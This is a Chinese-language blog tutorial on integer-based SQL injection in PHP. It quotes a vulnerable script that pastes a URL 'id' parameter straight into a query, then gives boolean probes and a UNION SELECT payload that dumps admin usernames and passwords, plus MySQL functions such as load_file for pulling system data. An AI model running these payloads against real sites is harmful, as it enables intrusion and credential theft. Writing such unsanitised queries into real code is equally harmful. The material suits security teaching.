PHP漏洞之【整型数字型SQL注入】

0x01    什么是SQL注入

SQL是一种注入攻击,通过前端带入后端数据库进行恶意的SQL语句查询。

 0x02    SQL整型注入原理

 SQL注入一般发生在动态网站URL地址里,当然也会发生在其它地发,如登录框等等也会存在注入,只要是和数据库打交道的地方都有可能存在。

如这里http://192.168.30.22/intsql/shownews.php?id=5  我们打开shownews.php源文件看下代码

if(isset($_GET['id']))
{
$id=$_GET["id"];
}
else
{
echo "<script language='javascript'>"; 
echo "alert('ÇëÊäÈëÕýÈ·ID£¡');";
echo " location='index.php';"; 
echo "</script>";
exit;    
}
 $sql4="select * from news where id=$id";
 $result4=mysql_query($sql4);
 if($nums=mysql_num_rows($result4))
 {
 $rs4=mysql_fetch_array($result4);
 $title=$rs4["title"];
 $content=$rs4["content"];
 $hits=$rs4["hits"];
 $fbsj=date("Y-m-d",strtotime($rs4['fbsj']));
 $sql="update news set hits=hits+1 where id=$id";
 mysql_query($sql);
 }

首先定义一个变量id,$id=$_GET["id"];获取GET的值,

然后定义一个sql4变量来存放sql查询语句,并和刚才变量id进行拼接组合,

$sql4="select * from news where id=$id";

最后带入数据库进行查询   $result4=mysql_query($sql4);

由此可以确定此文件存在SQL注入漏洞,id是数字型

 0x03    验证漏洞

现在我们在地址栏id=5 后面输入 and 1=1  页面返回了正常

那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=1";  //整条语句带入数据库进行查询 SQL语句返回为真即true

现在我们在地址栏id=5 后面输入 and 1=2  页面返回了错误

那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=2";  //整条语句带入数据库进行查询 SQL语句返回为假即false

依次类推,如果看不懂的话,可以去补一点sql基本语法知识。

 最后在查询出管理员的后台账号和密码 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

可以看到SQL语句拼接起来变成一条完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

mysql数据库一些常用函数:  我们也可以加到查询语句里进行爆出对应的信息

1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本 @@version
7:load_file() MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统

 

posted @ 2020-08-08 19:21  We3sT  阅读(738)  评论(0编辑  收藏  举报